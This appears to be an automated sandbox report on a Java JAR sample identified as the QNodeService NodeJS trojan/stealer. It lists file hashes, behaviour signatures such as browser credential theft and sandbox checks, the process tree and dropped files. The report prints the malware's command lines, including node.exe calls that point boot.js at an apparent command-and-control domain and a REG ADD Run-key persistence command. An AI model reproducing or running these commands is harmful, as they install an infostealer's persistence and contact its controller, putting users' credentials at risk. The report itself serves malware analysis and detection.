Analysis

  • max time kernel
    106s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    05-10-2020 13:15

General

  • Target

    2b5e8601ebef2e9c3b82bfc71f4d9c60.jar

  • Size

    200KB

  • MD5

    2b5e8601ebef2e9c3b82bfc71f4d9c60

  • SHA1

    678237fe0071f9ee54c756d71f2e2fc655a27c60

  • SHA256

    eec063e54c4eb818e568bde4f742efb075c691a9201d974291c6767bac7c20a1

  • SHA512

    2db0e8586843c48a4cabfbac44d522f9ad94ec55c0d721b3faa5856a4d68e118105d5a3b3800ebe55b1b61913a24601595aa05de266099d19e3ee0656cc45a10

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\2b5e8601ebef2e9c3b82bfc71f4d9c60.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3816
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\5aae1218.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain qwertyhills92.spdns.org
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3688
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_htdGq2\boot.js --hub-domain qwertyhills92.spdns.org
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2792
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_htdGq2\boot.js --hub-domain qwertyhills92.spdns.org
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3036
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "fc82d951-8a6d-40f7-8c5e-ade60e7d5946" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3616
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "fc82d951-8a6d-40f7-8c5e-ade60e7d5946" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3700

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp

    MD5

    d41d8cd98f00b204e9800998ecf8427e

    SHA1

    da39a3ee5e6b4b0d3255bfef95601890afd80709

    SHA256

    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

    SHA512

    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

  • C:\Users\Admin\AppData\Local\Temp\5aae1218.tmp

    MD5

    2b5e8601ebef2e9c3b82bfc71f4d9c60

    SHA1

    678237fe0071f9ee54c756d71f2e2fc655a27c60

    SHA256

    eec063e54c4eb818e568bde4f742efb075c691a9201d974291c6767bac7c20a1

    SHA512

    2db0e8586843c48a4cabfbac44d522f9ad94ec55c0d721b3faa5856a4d68e118105d5a3b3800ebe55b1b61913a24601595aa05de266099d19e3ee0656cc45a10

  • C:\Users\Admin\AppData\Local\Temp\_qhub_node_htdGq2\boot.js

    MD5

    c686d5fcf94d07f7cee70109eba9c4d3

    SHA1

    588eee04fdbf1fa372c8389c66d581e0b37afd7e

    SHA256

    e7e4897c0bbcd7e2931011f7839a0ebe920dc14e116fb898fc5e318827dc425d

    SHA512

    5af3b52daafe41bf891dcd846c3b8c15c04d1da2cdb28c915cf970f2fbe3d7bba6b6fc7c291a431a2d0a437f159322401eb8aa567a146763d665ca76677853a3

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe

    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • \Users\Admin\AppData\Local\Temp\3036-0f142030f8b3a34f.node

    MD5

    4e2dd4f7e4bddd4d772390d91bb80b4e

    SHA1

    d664d431a5efd2df79c6a0c80b46924ff143c92a

    SHA256

    5ac59bf615e2cbfea38b0f68d82cbb47e729af688960b4334895030572553367

    SHA512

    c01f221b80e2d3f03c5fa1862814734d2cca7e742b248a97dbb8958fe93b54369924b3968f600938df8bd0a41c33cd41e229198fafcbd65ea67940e707be05da

  • \Users\Admin\AppData\Local\Temp\3036-19b5bb8f5a24d742.node

    MD5

    ee6e80bab410c751c935e6175acf8b5c

    SHA1

    c44cad6425db5c9c86351f9f9f7b019b876db528

    SHA256

    dd3bd6107fb87be3c34985df2a8a0645fa7a89172d23ddb66fec64c3236a1af3

    SHA512

    c654c44cfe115a9c4f9eaf6ed4207511c17dc4eeb00441c2be6413d0a16c348fce0dcf282f2b9132948150e3541d248edd62b2e055a1cd902f80b9a67d2e1d77

  • \Users\Admin\AppData\Local\Temp\3036-33c9a6e061a3d471.node

    MD5

    f1c9cde23537dc338fb765f2c125f994

    SHA1

    6f290977d6e0666c4798b4bc17f640a18598a772

    SHA256

    8f73b3d91365fc1a09da9e8029a47f8ad5dd24d0dab03b01cd50de5806c8fb6b

    SHA512

    1bbdd3e50d4bcd09ca8e107596497ff3b20d82d728d485ca6eb1ee8660de0c3f4fe24dcc1657f2f59bc4f99fa2ddd525a0446eaed7999ed23b34fe8963750307

  • \Users\Admin\AppData\Local\Temp\3036-66084817d3b82bee.node

    MD5

    2e20508eac344dfead52bdc25b73a7fb

    SHA1

    c2918d63d3c0f14dce0552530ef0793f3a76bfa7

    SHA256

    500e8c83a3d455c26d20fb32e02c26a47a6c7fa906ce2c0491729b731906ac98

    SHA512

    25f8c95eb38a39e7ea60145e598f8e00b3b4c61f9ef6ae1689d3be16da7bd7c0d57a55d0d06a8402af694be880408ca6ef01829b79d9768d09967db5e3a2b8de

  • \Users\Admin\AppData\Local\Temp\3036-78babbdd958fedd1.node

    MD5

    df45601340083518d8bcc10ec848460b

    SHA1

    8613d6ab3040d57d241ed4a466c1fffb1b12455b

    SHA256

    eebfd03defaa0965393ebde5cd45a982dda75c82d5205a702f88deec660723ed

    SHA512

    0e1e14dd82119dc822dccc4da4d64cce62a7796ec1157defa97b4bc29d767d164e6ef65861448b24c4972cc3919bf1583518ba725757c0f96af47a942380cd41

  • \Users\Admin\AppData\Local\Temp\3036-e75094ceb677a8b5.node

    MD5

    87f2661da9a09dc36a1e39b53692e172

    SHA1

    fc6a37bfcd72d7d70a3afb6fbd752bf1e0b0990f

    SHA256

    7d2532530cd09d589348e1d6c2a46af4d3de73ee72941a4ee5b65cd21c17ddea

    SHA512

    7187b2761245b470f4dbdbaa258e8d3cc1f2491bea2f7649212d8abcef1ccfb4c4b7fe4d0a37ca47840dd21eea9d799c94367af43c98027ba6f1247162a9e713

  • memory/2792-174-0x0000034BD4B00000-0x0000034BD4B01000-memory.dmp

    Filesize

    4KB

  • memory/2792-172-0x0000000000000000-mapping.dmp

  • memory/3036-176-0x0000000000000000-mapping.dmp

  • memory/3036-178-0x000001AF91C00000-0x000001AF91C01000-memory.dmp

    Filesize

    4KB

  • memory/3376-51-0x0000000000000000-mapping.dmp

  • memory/3616-179-0x0000000000000000-mapping.dmp

  • memory/3688-171-0x00000256FF940000-0x00000256FF941000-memory.dmp

    Filesize

    4KB

  • memory/3688-167-0x0000000000000000-mapping.dmp

  • memory/3700-180-0x0000000000000000-mapping.dmp